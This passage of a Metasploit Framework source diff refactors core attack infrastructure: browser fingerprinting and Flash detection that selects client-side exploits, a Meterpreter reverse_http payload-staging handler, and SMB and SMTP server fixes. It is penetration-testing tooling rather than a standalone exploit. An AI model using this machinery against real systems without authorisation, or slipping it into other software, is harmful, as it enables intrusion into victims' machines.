a tag. @@ -325,17 +288,25 @@ module Msf # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser def process_browser_info(source, cli, request) tag = retrieve_tag(cli, request) - init_profile(tag) - target_info = get_profile(tag) - update_profile(target_info, :source, source.to_s) + + browser_profile[tag] ||= {} + profile = browser_profile[tag] + profile[:source] = source.to_s + + found_ua_name = '' + found_ua_ver = '' # Gathering target info from the detection stage case source when :script # Gathers target data from a POST request parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '') - vprint_status("Received sniffed browser data over POST: \n#{parsed_body}.") - parsed_body.each { |k, v| update_profile(target_info, k.to_sym, v.first) } + vprint_status("Received sniffed browser data over POST:") + vprint_line("#{parsed_body}.") + parsed_body.each { |k, v| profile[k.to_sym] = (v.first == 'null' ? nil : v.first) } + found_ua_name = parsed_body['ua_name'] + found_ua_ver = parsed_body['ua_ver'] + when :headers # Gathers target data from headers # This may be less accurate, and most likely less info. @@ -344,19 +315,26 @@ module Msf # Kill this to save space. fp.delete(:ua_string) fp.each do |k, v| - update_profile(target_info, k.to_sym, v) + profile[k.to_sym] = v end + found_ua_name = fp[:ua_name] + found_ua_ver = fp[:ua_ver] end # Other detections - update_profile(target_info, :proxy, has_proxy?(request)) - update_profile(target_info, :language, request.headers['Accept-Language'] || '') + profile[:proxy] = has_proxy?(request) + profile[:language] = request.headers['Accept-Language'] || '' + + # Basic tracking + profile[:address] = cli.peerhost + profile[:module] = self.fullname + profile[:created_at] = Time.now report_client({ :host => cli.peerhost, - :ua_string => request.headers['User-Agent'], - :ua_name => target_info[:ua_name], - :ua_ver => target_info[:ua_ver] + :ua_string => request.headers['User-Agent'].to_s, + :ua_name => found_ua_name.to_s, + :ua_ver => found_ua_ver.to_s }) end @@ -395,6 +373,57 @@ module Msf return Base64.encode(q.join('&')); } + function isEmpty(str) { + return (!str \|\| 0 === str.length); + } + + function sendInfo(info) { + var query = objToQuery(info); + postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query, function(){ + window.location="<%= get_module_resource %>"; + }); + } + + var flashVersion = ""; + var doInterval = true; + var maxTimeout = null; + var intervalTimeout = null; + + function setFlashVersion(ver) { + flashVersion = ver + if (maxTimeout != null) { + clearTimeout(maxTimeout); + maxTimeout = null + } + doInterval = false + return; + } + + function createFlashObject(src, attributes, parameters) { + var i, html, div, obj, attr = attributes \|\| {}, param = parameters \|\| {}; + attr.type = 'application/x-shockwave-flash'; + if (window.ActiveXObject) { + attr.classid = 'clsid:d27cdb6e-ae6d-11cf-96b8-444553540000'; + param.movie = src; + } else { + attr.data = src; + } + + html = ''; + } + html += '
'; + div = document.createElement('div'); + div.innerHTML = html; + obj = div.firstChild; + div.removeChild(obj); + return obj; + } window.onload = function() { var osInfo = os_detect.getVersion(); @@ -432,10 +461,36 @@ module Msf <% end %> <% end %> - var query = objToQuery(d); - postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query, function(){ - window.location="<%= get_module_resource %>"; - }); + if (d["flash"] != null && (d["flash"].match(/[\\d]+.[\\d]+.[\\d]+.[\\d]+/)) == null) { + var flashObject = createFlashObject('<%=get_resource.chomp("/")%>/<%=@flash_swf%>', {width: 1, height: 1}, {allowScriptAccess: 'always', Play: 'True'}); + + // After 5s stop waiting and use the version retrieved with JS if there isn't anything + maxTimeout = setTimeout(function() { + if (intervalTimeout != null) { + doInterval = false + clearInterval(intervalTimeout) + } + if (!isEmpty(flashVersion)) { + d["flash"] = flashVersion + } + sendInfo(d); + }, 5000); + + // Check if there is a new flash version every 100ms + intervalTimeout = setInterval(function() { + if (!doInterval) { + clearInterval(intervalTimeout); + if (!isEmpty(flashVersion)) { + d["flash"] = flashVersion + } + sendInfo(d); + } + }, 100); + + document.body.appendChild(flashObject) + } else { + sendInfo(d) + } } |).result(binding()) @@ -453,11 +508,12 @@ module Msf | end - # @return [String] name of the tracking cookie + # @return [String] Name of the tracking cookie def cookie_name datastore['CookieName'] || DEFAULT_COOKIE_NAME end + # @return [String] HTTP header string for the tracking cookie def cookie_header(tag) cookie = "#{cookie_name}=#{tag};" if datastore['CookieExpiration'].present? @@ -468,6 +524,13 @@ module Msf cookie end + def load_swf_detection + path = ::File.join(Msf::Config.data_directory, 'flash_detector', 'flashdetector.swf') + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end + # Handles exploit stages. # @@ -479,7 +542,7 @@ module Msf # # This is the information gathering stage # - if get_profile(retrieve_tag(cli, request)) + if browser_profile[retrieve_tag(cli, request)] send_redirect(cli, get_module_resource) return end @@ -487,11 +550,15 @@ module Msf print_status("Gathering target information.") tag = Rex::Text.rand_text_alpha(rand(20) + 5) ua = request.headers['User-Agent'] || '' - init_profile(tag) print_status("Sending HTML response.") html = get_detection_html(ua) send_response(cli, html, {'Set-Cookie' => cookie_header(tag)}) + when /#{@flash_swf}/ + vprint_status("Sending SWF used for Flash detection") + swf = load_swf_detection + send_response(cli, swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) + when /#{@info_receiver_page}/ # # The detection code will hit this if Javascript is enabled @@ -515,7 +582,7 @@ module Msf # tag = retrieve_tag(cli, request) vprint_status("Serving exploit to user with tag #{tag}") - profile = get_profile(tag) + profile = browser_profile[tag] if profile.nil? print_status("Browsing directly to the exploit URL is forbidden.") send_not_found(cli) @@ -523,13 +590,14 @@ module Msf print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.") send_not_found(cli) else - update_profile(profile, :tried, true) + profile[:tried] = true vprint_status("Setting target \"#{tag}\" to :tried.") try_set_target(profile) bad_reqs = get_bad_requirements(profile) if bad_reqs.empty? + browser_info = profile.dup begin - method(:on_request_exploit).call(cli, request, profile) + method(:on_request_exploit).call(cli, request, browser_info) rescue BESException => e elog("BESException: #{e.message}\n#{e.backtrace * "\n"}") send_not_found(cli) @@ -597,9 +665,10 @@ module Msf platform = platform.gsub(/^Windows.*$/, 'Windows') p = regenerate_payload(cli, platform, arch) + target_arch = get_target.arch || arch - unless p.arch.include?(arch) - err = "The payload arch (#{p.arch * ", "}) is incompatible with the #{arch} target. " + unless p.arch.all? { |e| target_arch.include?(e) } + err = "The payload arch (#{p.arch * ", "}) is incompatible with the target (#{target_arch * "\n"}). " err << "Please check your payload setting." raise BESException, err end diff --git a/lib/msf/core/exploit/remote/browser_profile_manager.rb b/lib/msf/core/exploit/remote/browser_profile_manager.rb new file mode 100644 index 0000000000..23bf1fbe06 --- /dev/null +++ b/lib/msf/core/exploit/remote/browser_profile_manager.rb @@ -0,0 +1,25 @@ +module Msf + module Exploit::Remote::BrowserProfileManager + + # @overload browser_profile_prefix + # Sets the profile prefix to retrieve or load target information. + def browser_profile_prefix + raise NoMethodError, "A mixin that's using BrowserProfileManager should define browser_profile_prefix" + end + + # Storage backend for browser profiles + # + # @return [Hash] + def browser_profile + framework.browser_profiles[browser_profile_prefix] ||= {} + framework.browser_profiles[browser_profile_prefix] + end + + # Storage backend for browser profiles + # + def clear_browser_profiles + framework.browser_profiles.delete(browser_profile_prefix) + end + + end +end diff --git a/lib/msf/core/exploit/smb/server.rb b/lib/msf/core/exploit/smb/server.rb index 3efb46ff57..2cede3c66f 100644 --- a/lib/msf/core/exploit/smb/server.rb +++ b/lib/msf/core/exploit/smb/server.rb @@ -18,8 +18,18 @@ module Msf deregister_options('SSL', 'SSLCert') register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 445 ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 445 ]) ], self.class) + + register_advanced_options( + [ + OptInt.new('SMBServerMaximumBuffer', [ true, 'The maximum number of data in megabytes to buffer', 2 ]), + OptInt.new('SMBServerIdleTimeout', [ true, 'The maximum amount of time to keep an idle session open in seconds', 120 ]) + ], self.class) + + @smb_server_last_pool_sweep = Time.now.to_f + @smb_server_pool_mutex = Mutex.new + @smb_server_request_counter = 0 end def setup @@ -44,16 +54,58 @@ module Msf def smb_conn(c) @state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport} + smb_pool_update(c) end def smb_stop(c) + # Make sure the socket is closed + begin + c.close + # Handle any number of errors that a double-close or failed shutdown can trigger + rescue ::IOError, ::EOFError, + ::Errno::ECONNRESET, ::Errno::ENOTCONN, ::Errno::ECONNABORTED, + ::Errno::ETIMEDOUT, ::Errno::ENETRESET, ::Errno::ESHUTDOWN + end + + # Delete the state table entry @state.delete(c) end def smb_recv(c) smb = @state[c] smb[:data] ||= '' - smb[:data] << c.get_once + + buff = '' + begin + buff = c.get_once(-1, 0.25) + # Handle any number of errors that a read can trigger depending on socket state + rescue ::IOError, ::EOFError, + ::Errno::ECONNRESET, ::Errno::ENOTCONN, ::Errno::ECONNABORTED, + ::Errno::ETIMEDOUT, ::Errno::ENETRESET, ::Errno::ESHUTDOWN + vprint_status("Dropping connection from #{smb[:name]} due to exception: #{$!.class} #{$!}") + smb_stop(c) + return + end + + # The client said it had data, but lied, kill the session + unless buff and buff.length > 0 + vprint_status("Dropping connection from #{smb[:name]} due to empty payload...") + smb_stop(c) + return + end + + # Append the new data to the buffer + smb[:data] << buff + + # Prevent a simplistic DoS if the buffer is too big + if smb[:data].length > (1024*1024*datastore['SMBServerMaximumBuffer']) + vprint_status("Dropping connection from #{smb[:name]} due to oversized buffer of #{smb[:data].length} bytes...") + smb_stop(c) + return + end + + # Update the last-seen timestamp and purge old entries + smb_pool_update(c) while(smb[:data].length > 0) @@ -95,10 +147,11 @@ module Msf pkt = CONST::SMB_BASE_PKT.make_struct pkt.from_s(buff) - # Only response to requests, ignore server replies + # Only respond to requests, ignore server replies if (pkt['Payload']['SMB'].v['Flags1'] & 128 != 0) - print_status("Ignoring server response from #{smb[:name]}") - next + vprint_status("Dropping connection from #{smb[:name]} due to missing client request flag") + smb_stop(c) + return end cmd = pkt['Payload']['SMB'].v['Command'] @@ -149,6 +202,38 @@ module Msf pkt['Payload']['SMB'].v['ErrorClass'] = errorclass c.put(pkt.to_s) end + + # Update the last-seen timestamp and purge old entries + def smb_pool_update(c) + + @state[c][:last_action] = Time.now.to_f + @smb_server_request_counter += 1 + + unless @smb_server_request_counter % 100 == 0 || + @smb_server_last_pool_sweep + datastore['SMBServerIdleTimeout'].to_f < Time.now.to_f + return + end + + # Synchronize pool sweeps in case we move to threaded services + @smb_server_pool_mutex.synchronize do + purge_list = [] + + @smb_server_last_pool_sweep = Time.now.to_f + + @state.keys.each do |sc| + if @state[sc][:last_action] + datastore['SMBServerIdleTimeout'].to_f < Time.now.to_f + purge_list << sc + end + end + + # Purge any idle connections to rescue file descriptors + purge_list.each do |sc| + vprint_status("Dropping connection from #{@state[sc][:name]} due to idle timeout...") + smb_stop(sc) + end + end + end + end end diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb index 0dec10cc71..18fde235a0 100644 --- a/lib/msf/core/exploit/smtp_deliver.rb +++ b/lib/msf/core/exploit/smtp_deliver.rb @@ -84,7 +84,7 @@ module Exploit::Remote::SMTPDeliver if res =~ /STARTTLS/ print_status("Starting tls") raw_send_recv("STARTTLS\r\n", nsock) - swap_sock_plain_to_ssl + swap_sock_plain_to_ssl(nsock) res = raw_send_recv("EHLO #{domain}\r\n", nsock) end @@ -229,7 +229,7 @@ protected end def generate_ssl_context - ctx = OpenSSL::SSL::SSLContext.new(:SSLv3) + ctx = OpenSSL::SSL::SSLContext.new ctx.key = OpenSSL::PKey::RSA.new(1024){ } ctx.session_id_context = Rex::Text.rand_text(16) diff --git a/lib/msf/core/exploit/tftp.rb b/lib/msf/core/exploit/tftp.rb index 18c07836c9..43aff8e33c 100644 --- a/lib/msf/core/exploit/tftp.rb +++ b/lib/msf/core/exploit/tftp.rb @@ -20,14 +20,14 @@ module Exploit::TFTPServer def start_service(tag, exe) @tftp = Rex::Proto::TFTP::Server.new @tftp.register_file(tag, exe) - print_status("Starting TFTP server to host \"#{tag}\" (#{exe.length} bytes)") if datastore['VERBOSE'] + vprint_status("Starting TFTP server to host \"#{tag}\" (#{exe.length} bytes)") @tftp.start add_socket(@tftp.sock) @tftp end def stop_service - print_status("Stopping TFTP server") if datastore['VERBOSE'] + vprint_status("Stopping TFTP server") @tftp.stop end diff --git a/lib/msf/core/exploit_driver.rb b/lib/msf/core/exploit_driver.rb index be273d10df..66e8f9e4e8 100644 --- a/lib/msf/core/exploit_driver.rb +++ b/lib/msf/core/exploit_driver.rb @@ -22,6 +22,7 @@ class ExploitDriver self.use_job = false self.job_id = nil self.force_wait_for_session = false + self.semaphore = Mutex.new end # @@ -181,6 +182,9 @@ class ExploitDriver attr_accessor :force_wait_for_session # :nodoc: attr_accessor :session # :nodoc: + # To synchronize threads cleaning up the exploit and the handler + attr_accessor :semaphore + protected @@ -318,12 +322,12 @@ protected exploit, payload = ctx # Ensure that, no matter what, clean up of the handler occurs - payload.stop_handler + semaphore.synchronize { payload.stop_handler } exploit.framework.events.on_module_complete(exploit) # Allow the exploit to cleanup after itself, that messy bugger. - exploit.cleanup + semaphore.synchronize { exploit.cleanup } end end diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index 69787fc3e8..c8fd5db9cb 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -11,6 +11,7 @@ require 'monitor' # require 'metasploit/framework/version' +require 'msf/base/config' require 'msf/core' require 'msf/util' @@ -33,16 +34,10 @@ class Framework Minor = Metasploit::Framework::Version::MINOR Point = Metasploit::Framework::Version::PATCH Release = "-#{Metasploit::Framework::Version::PRERELEASE}" - - if(Point) - Version = "#{Major}.#{Minor}.#{Point}#{Release}" - else - Version = "#{Major}.#{Minor}#{Release}" - end + Version = Metasploit::Framework::VERSION Revision = "$Revision$" - # Repository information RepoRevision = ::Msf::Util::SVN.revision RepoUpdated = ::Msf::Util::SVN.updated @@ -73,7 +68,7 @@ class Framework require 'msf/core/plugin_manager' require 'msf/core/db_manager' require 'msf/core/event_dispatcher' - + require 'rex/json_hash_file' # # Creates an instance of the framework context. @@ -91,6 +86,8 @@ class Framework self.datastore = DataStore.new self.jobs = Rex::JobContainer.new self.plugins = PluginManager.new(self) + self.uuid_db = Rex::JSONHashFile.new(::File.join(Msf::Config.config_directory, "payloads.json")) + self.browser_profiles = Hash.new # Configure the thread factory Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: self) @@ -187,6 +184,18 @@ class Framework # unloading of plugins. # attr_reader :plugins + # + # The framework instance's payload uuid database. The payload uuid + # database is used to record and match the unique ID values embedded + # into generated payloads. + # + attr_reader :uuid_db + # + # The framework instance's browser profile store. These profiles are + # generated by client-side modules and need to be shared across + # different contexts. + # + attr_reader :browser_profiles # The framework instance's db manager. The db manager # maintains the database db and handles db events @@ -243,6 +252,8 @@ protected attr_writer :jobs # :nodoc: attr_writer :plugins # :nodoc: attr_writer :db # :nodoc: + attr_writer :uuid_db # :nodoc: + attr_writer :browser_profiles # :nodoc: end class FrameworkEventSubscriber diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index d442d6727d..fb643c2fea 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -2,9 +2,10 @@ require 'rex/io/stream_abstraction' require 'rex/sync/ref' require 'rex/payloads/meterpreter/uri_checksum' -require 'rex/post/meterpreter/packet' +require 'rex/post/meterpreter' require 'rex/parser/x509_certificate' require 'msf/core/payload/windows/verify_ssl' +require 'rex/user_agent' module Msf module Handler @@ -19,13 +20,12 @@ module ReverseHttp include Msf::Handler include Rex::Payloads::Meterpreter::UriChecksum include Msf::Payload::Windows::VerifySsl - include Rex::Post::Meterpreter # # Returns the string representation of the handler type # def self.handler_type - return "reverse_http" + return 'reverse_http' end # @@ -44,19 +44,22 @@ module ReverseHttp register_options( [ - OptString.new('LHOST', [ true, "The local listener hostname" ]), - OptPort.new('LPORT', [ true, "The local listener port", 8080 ]) + OptString.new('LHOST', [true, 'The local listener hostname']), + OptPort.new('LPORT', [true, 'The local listener port', 8080]) ], Msf::Handler::ReverseHttp) register_advanced_options( [ - OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), - OptString.new('MeterpreterUserAgent', [ false, 'The user-agent that the payload should use for communication', 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' ]), - OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ]), - OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), - OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]), - OptBool.new('OverrideRequestHost', [ false, 'Forces clients to connect to LHOST:LPORT instead of keeping original payload host', false ]), - OptString.new('HttpUnknownRequestResponse', [ false, 'The returned HTML response body when the handler receives a request that is not from a payload', '

It works!

' ]) + OptString.new('ReverseListenerComm', [false, 'The specific communication channel to use for this listener']), + OptString.new('MeterpreterUserAgent', [false, 'The user-agent that the payload should use for communication', Rex::UserAgent.shortest]), + OptString.new('MeterpreterServerName', [false, 'The server header that the handler will send in response to requests', 'Apache']), + OptAddress.new('ReverseListenerBindAddress', [false, 'The specific IP address to bind to on the local system']), + OptInt.new('ReverseListenerBindPort', [false, 'The port to bind to on the local system if different from LPORT']), + OptBool.new('OverrideRequestHost', [false, 'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT', false]), + OptString.new('OverrideLHOST', [false, 'When OverrideRequestHost is set, use this value as the host name for secondary requests']), + OptPort.new('OverrideLPORT', [false, 'When OverrideRequestHost is set, use this value as the port number for secondary requests']), + OptString.new('HttpUnknownRequestResponse', [false, 'The returned HTML response body when the handler receives a request that is not from a payload', '

It works!

']), + OptBool.new('IgnoreUnknownPayloads', [false, 'Whether to drop connections from payloads using unknown UUIDs', false]) ], Msf::Handler::ReverseHttp) end @@ -64,7 +67,7 @@ module ReverseHttp # # @return [String] def listener_address - if datastore['ReverseListenerBindAddress'].to_s == "" + if datastore['ReverseListenerBindAddress'].to_s == '' bindaddr = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '::' : '0.0.0.0' else bindaddr = datastore['ReverseListenerBindAddress'] @@ -88,20 +91,30 @@ module ReverseHttp # # @return [String] A URI of the form +scheme://host:port/+ def payload_uri(req) - if req and req.headers and req.headers['Host'] and not datastore['OverrideRequestHost'] + callback_host = nil + + # Extract whatever the client sent us in the Host header + if req && req.headers && req.headers['Host'] callback_host = req.headers['Host'] - elsif Rex::Socket.is_ipv6?(datastore['LHOST']) - callback_host = "[#{datastore['LHOST']}]:#{datastore['LPORT']}" - else - callback_host = "#{datastore['LHOST']}:#{datastore['LPORT']}" end + + # Override the host and port as appropriate + if datastore['OverrideRequestHost'] || callback_host.nil? + callback_name = datastore['OverrideLHOST'] || datastore['LHOST'] + callback_port = datastore['OverrideLPORT'] || datastore['LPORT'] + if Rex::Socket.is_ipv6? callback_name + callback_name = "[#{callback_name}]" + end + callback_host = "#{callback_name}:#{callback_port}" + end + "#{scheme}://#{callback_host}/" end # Use the {#refname} to determine whether this handler uses SSL or not # def ssl? - !!(self.refname.index("https")) + !!(self.refname.index('https')) end # URI scheme @@ -109,7 +122,7 @@ module ReverseHttp # @return [String] One of "http" or "https" depending on whether we # are using SSL def scheme - (ssl?) ? "https" : "http" + (ssl?) ? 'https' : 'http' end # Create an HTTP listener @@ -117,7 +130,7 @@ module ReverseHttp def setup_handler comm = datastore['ReverseListenerComm'] - if (comm.to_s == "local") + if (comm.to_s == 'local') comm = ::Rex::Socket::Comm::Local else comm = nil @@ -136,7 +149,7 @@ module ReverseHttp 'MsfExploit' => self, }, comm, - (ssl?) ? datastore["HandlerSSLCert"] : nil + (ssl?) ? datastore['HandlerSSLCert'] : nil ) self.service.server_name = datastore['MeterpreterServerName'] @@ -153,6 +166,10 @@ module ReverseHttp print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}") lookup_proxy_settings + + if datastore['IgnoreUnknownPayloads'] + print_status("Handler is ignoring unknown payloads, there are #{framework.uuid_db.keys.length} UUIDs whitelisted") + end end # @@ -161,7 +178,7 @@ module ReverseHttp # def stop_handler if self.service - self.service.remove_resource("/") + self.service.remove_resource('/') if self.service.resources.empty? && self.sessions == 0 Rex::ServiceManager.stop_service(self.service) end @@ -179,7 +196,7 @@ protected info = {} return @proxy_settings if @proxy_settings - if datastore['PayloadProxyHost'].to_s == "" + if datastore['PayloadProxyHost'].to_s == '' @proxy_settings = info return @proxy_settings end @@ -200,10 +217,10 @@ protected info[:info] = "socks=#{info[:info]}" else info[:info] = "http://#{info[:info]}" - if datastore['PayloadProxyUser'].to_s != "" + if datastore['PayloadProxyUser'].to_s != '' info[:username] = datastore['PayloadProxyUser'].to_s end - if datastore['PayloadProxyPass'].to_s != "" + if datastore['PayloadProxyPass'].to_s != '' info[:password] = datastore['PayloadProxyPass'].to_s end end @@ -228,6 +245,21 @@ protected conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid) end + # Validate known UUIDs for all requests if IgnoreUnknownPayloads is set + if datastore['IgnoreUnknownPayloads'] && ! framework.uuid_db[uuid.puid_hex] + print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Ignoring request with unknown UUID") + info[:mode] = :unknown_uuid + end + + # Validate known URLs for all session init requests if IgnoreUnknownPayloads is set + if datastore['IgnoreUnknownPayloads'] && info[:mode].to_s =~ /^init_/ + allowed_urls = framework.uuid_db[uuid.puid_hex]['urls'] || [] + unless allowed_urls.include?(req.relative_resource) + print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Ignoring request with unknown UUID URL #{req.relative_resource}") + info[:mode] = :unknown_uuid_url + end + end + self.pending_connections += 1 # Process the requested resource. @@ -238,15 +270,11 @@ protected # Handle the case where stageless payloads call in on the same URI when they # first connect. From there, we tell them to callback on a connect URI that # was generated on the fly. This means we form a new session for each. - sum = uri_checksum_lookup(:connect) - new_uri = generate_uri_uuid(sum, uuid) + '/' - # This bit is going to need to be validated by the Ruby/MSF masters as I - # am not sure that this is the best way to get a TLV packet out from this - # handler. # Hurl a TLV back at the caller, and ignore the response - pkt = Packet.new(PACKET_TYPE_RESPONSE, 'core_patch_url') - pkt.add_tlv(TLV_TYPE_TRANS_URL, new_uri) + pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, + 'core_patch_url') + pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/") resp.body = pkt.to_r when :init_python @@ -254,7 +282,10 @@ protected url = payload_uri(req) + conn_id + '/' blob = "" - blob << obj.generate_stage + blob << obj.generate_stage( + uuid: uuid, + uri: conn_id + ) var_escape = lambda { |txt| txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\')) @@ -262,8 +293,6 @@ protected # Patch all the things blob.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(url)}'") - blob.sub!('HTTP_EXPIRATION_TIMEOUT = 604800', "HTTP_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}") - blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'") unless datastore['PayloadProxyHost'].blank? @@ -290,17 +319,10 @@ protected print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Java payload ...") url = payload_uri(req) + conn_id + "/\x00" - blob = "" - blob << obj.generate_stage - - # This is a TLV packet - I guess somewhere there should be an API for building them - # in Metasploit :-) - packet = "" - packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00" - packet << [url.length+8, 0x1000a].pack('NN')+url - packet << [12, 0x2000b, datastore['SessionExpirationTimeout'].to_i].pack('NNN') - packet << [12, 0x20019, datastore['SessionCommunicationTimeout'].to_i].pack('NNN') - blob << [packet.length+8, 0].pack('NN') + packet + blob = obj.generate_stage( + uuid: uuid, + uri: conn_id + ) resp.body = blob @@ -348,7 +370,7 @@ protected when :connect print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Attaching orphaned/stageless session ...") - resp.body = "" + resp.body = '' conn_id = req.relative_resource # Short-circuit the payload's handle_connection processing for create_session @@ -356,21 +378,20 @@ protected :passive_dispatcher => obj.service, :conn_id => conn_id, :url => payload_uri(req) + conn_id + "/\x00", - # TODO ### Figure out what to do with these options given that the payload ### - # settings might not match the handler, should we instead read the remote? # - :expiration => datastore['SessionExpirationTimeout'].to_i, # - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, # - :retry_total => datastore['SessionRetryTotal'].to_i, # - :retry_wait => datastore['SessionRetryWait'].to_i, # - ############################################################################## + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i, :ssl => ssl?, :payload_uuid => uuid }) else - print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} #{req.inspect}...") + unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode]) + print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} with UA #{req.headers['User-Agent']}...") + end resp.code = 200 - resp.message = "OK" + resp.message = 'OK' resp.body = datastore['HttpUnknownRequestResponse'].to_s self.pending_connections -= 1 end diff --git a/lib/msf/core/module/reference.rb b/lib/msf/core/module/reference.rb index d7532bdfb4..a124881f76 100644 --- a/lib/msf/core/module/reference.rb +++ b/lib/msf/core/module/reference.rb @@ -113,6 +113,8 @@ class Msf::Module::SiteReference < Msf::Module::Reference self.site = "http://www.zerodayinitiative.com/advisories/ZDI-#{in_ctx_val}" elsif (in_ctx_id == 'WPVDB') self.site = "https://wpvulndb.com/vulnerabilities/#{in_ctx_val}" + elsif (in_ctx_id == 'PACKETSTORM') + self.site = "https://packetstormsecurity.com/files/#{in_ctx_val}" elsif (in_ctx_id == 'URL') self.site = in_ctx_val.to_s else diff --git a/lib/msf/core/module/ui/line/verbose.rb b/lib/msf/core/module/ui/line/verbose.rb index 399ef5c82b..cab61ff858 100644 --- a/lib/msf/core/module/ui/line/verbose.rb +++ b/lib/msf/core/module/ui/line/verbose.rb @@ -1,6 +1,6 @@ module Msf::Module::UI::Line::Verbose # Verbose version of #print_line - def vprint_line(msg) + def vprint_line(msg='') print_line(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] end -end \ No newline at end of file +end diff --git a/lib/msf/core/module/ui/message/verbose.rb b/lib/msf/core/module/ui/message/verbose.rb index 577a3293d1..1a8d0175b9 100644 --- a/lib/msf/core/module/ui/message/verbose.rb +++ b/lib/msf/core/module/ui/message/verbose.rb @@ -1,21 +1,21 @@ module Msf::Module::UI::Message::Verbose # Verbose version of #print_error - def vprint_error(msg) + def vprint_error(msg='') print_error(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] end # Verbose version of #print_good - def vprint_good(msg) + def vprint_good(msg='') print_good(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] end # Verbose version of #print_status - def vprint_status(msg) + def vprint_status(msg='') print_status(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] end # Verbose version of #print_warning - def vprint_warning(msg) + def vprint_warning(msg='') print_warning(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] end -end \ No newline at end of file +end diff --git a/lib/msf/core/module_manager/cache.rb b/lib/msf/core/module_manager/cache.rb index a1f626a5a6..a0c7f34856 100644 --- a/lib/msf/core/module_manager/cache.rb +++ b/lib/msf/core/module_manager/cache.rb @@ -113,15 +113,15 @@ module Msf::ModuleManager::Cache framework.db.update_all_module_details end - refresh_cache_from_database + refresh_cache_from_database(self.module_paths) end end # Refreshes the in-memory cache from the database cache. # # @return [void] - def refresh_cache_from_database - self.module_info_by_path_from_database! + def refresh_cache_from_database(allowed_paths=[""]) + self.module_info_by_path_from_database!(allowed_paths) end protected @@ -149,10 +149,12 @@ module Msf::ModuleManager::Cache # @return [Hash{String => Hash{Symbol => Object}}] Maps path (Mdm::Module::Detail#file) to module information. Module # information is a Hash derived from Mdm::Module::Detail. It includes :modification_time, :parent_path, :type, # :reference_name. - def module_info_by_path_from_database! + def module_info_by_path_from_database!(allowed_paths=[""]) self.module_info_by_path = {} if framework_migrated? + allowed_paths = allowed_paths.map{|x| x + "/"} + ActiveRecord::Base.connection_pool.with_connection do # TODO record module parent_path in Mdm::Module::Detail so it does not need to be derived from file. # Use find_each so Mdm::Module::Details are returned in batches, which will @@ -162,6 +164,9 @@ module Msf::ModuleManager::Cache type = module_detail.mtype reference_name = module_detail.refname + # Skip cached modules that are not in our allowed load paths + next if allowed_paths.select{|x| path.index(x) == 0}.empty? + typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name) # join to '' so that typed_path_prefix starts with file separator typed_path_suffix = File.join('', typed_path) diff --git a/lib/msf/core/modules/loader/base.rb b/lib/msf/core/modules/loader/base.rb index 81997aae12..5f4586efd6 100644 --- a/lib/msf/core/modules/loader/base.rb +++ b/lib/msf/core/modules/loader/base.rb @@ -253,21 +253,13 @@ class Msf::Modules::Loader::Base # @return [Hash{String => Integer}] Maps module type to number of # modules loaded def load_modules(path, options={}) - options.assert_valid_keys(:force, :whitelist) + options.assert_valid_keys(:force) force = options[:force] count_by_type = {} recalculate_by_type = {} - # This is used to avoid loading the same thing twice - 